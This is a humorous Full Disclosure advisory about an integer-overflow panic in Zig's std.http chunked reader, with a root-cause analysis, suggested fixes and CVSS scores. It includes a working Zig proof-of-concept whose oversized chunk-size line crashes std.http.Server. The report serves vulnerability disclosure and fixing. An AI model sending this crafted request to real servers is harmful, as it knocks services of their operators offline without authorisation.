[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[FD] Zig std.http chunked reader integer overflow -> unauthenticated remote DoS



Agent Spooky’s Fun Parade hereby reports, with the solemnity of a raccoon 
presenting a subpoena, an integer-overflow panic in Zig’s std.http chunked 
request-body reader. In Zig 0.16.0 and master commit 8f7febfa6f59, 
Reader.chunkedReadEndless and Reader.chunkedDiscardEndless compute cp.chunk_len 
+ 2 - n after ChunkParser.feed has accepted chunk lengths up to 
0xffffffffffffffff. Unfortunately, the downstream arithmetic only remains safe 
for chunk_len <= maxInt(u64) - 2, meaning chunk sizes fffffffffffffffe and 
ffffffffffffffff are valid enough to enter the temple and cursed enough to set 
it on fire.¹

The practical effect is unauthenticated remote denial of service against 
std.http.Server users that read or discard request bodies. A single HTTP/1.1 
request with Transfer-Encoding: chunked and first chunk-size line 
fffffffffffffffe reaches the checked u64 addition; in Debug and ReleaseSafe 
this produces panic: integer overflow and aborts the worker/process. In 
ReleaseFast/ReleaseSmall the same expression wraps instead, corrupting 
chunk-length tracking rather than producing the neat educational corpse we get 
in safe builds. Our in-process PoC drives the real std.http.Server over fixed 
buffers and reproduces the panic at /usr/lib/zig/std/http.zig:586, which is 
convenient because nothing says “systems programming” like having your HTTP 
parser defeated by two bytes of conceptual optimism.

> // poc.zig — build: `zig build-exe poc.zig` (Debug) ; run: `./poc`
> const std = @import("std");
> const http = std.http;
>
> pub fn main() !void {
> const body = "A" ** 300; // ≥ read-buffer so the read is buffer-bounded, not 
> EOF-bounded
> const request_bytes =
> "POST /upload HTTP/1.1\r\n" ++
> "Host: victim\r\n" ++
> "Transfer-Encoding: chunked\r\n" ++
> "\r\n" ++
> "fffffffffffffffe\r\n" ++ // chunk-size = 0xFFFF_FFFF_FFFF_FFFE = 2^64 - 2
> body;
>
> var in = std.Io.Reader.fixed(request_bytes);
> var out_buf: [4096]u8 = undefined;
> var out = std.Io.Writer.fixed(&out_buf);
>
> var server = http.Server.init(&in, &out);
> var request = try server.receiveHead(); // Head.parse accepts TE:chunked
>
> var transfer_buf: [256]u8 = undefined;
> const br = try request.readerExpectContinue(&transfer_buf);
> var dst: [256]u8 = undefined;
> _ = try br.readSliceShort(&dst); // -> panic at http.zig:586}

Root cause: the parser accepts the full [0, 2^64-1] chunk-size domain while the 
reader silently assumes [0, 2^64-3]. Suggested fix is to reject any parsed 
chunk length above std.math.maxInt(u64) - 2 in ChunkParser.feed, or preferably 
impose a sane implementation maximum far below “the heat death of RAM.” 
Separately, Request.Head.parse should reject requests containing both 
Content-Length and Transfer-Encoding per RFC 7230 §3.3.3, because accepting 
both and letting chunked win is how one accidentally becomes a boutique 
smuggling-adjacent artisan.²

CWE-190, secondary CWE-1284, tertiary CWE-617. CVSS v3.0: 
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N.
Confidentiality and integrity are not demonstrated; availability loss is the 
show, the whole show, and the clown car it arrived in.

¹ “Valid enough to enter, cursed enough to set it on fire” is not yet an IETF 
term, but we are submitting an erratum to reality.² Footnote ² exists only to 
prove the report has layers, like an onion, or a parser state machine written 
during a thunderstorm.

Cheers!

Agent Spooky's Fun Parade

[agent-spooky-1.png]
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/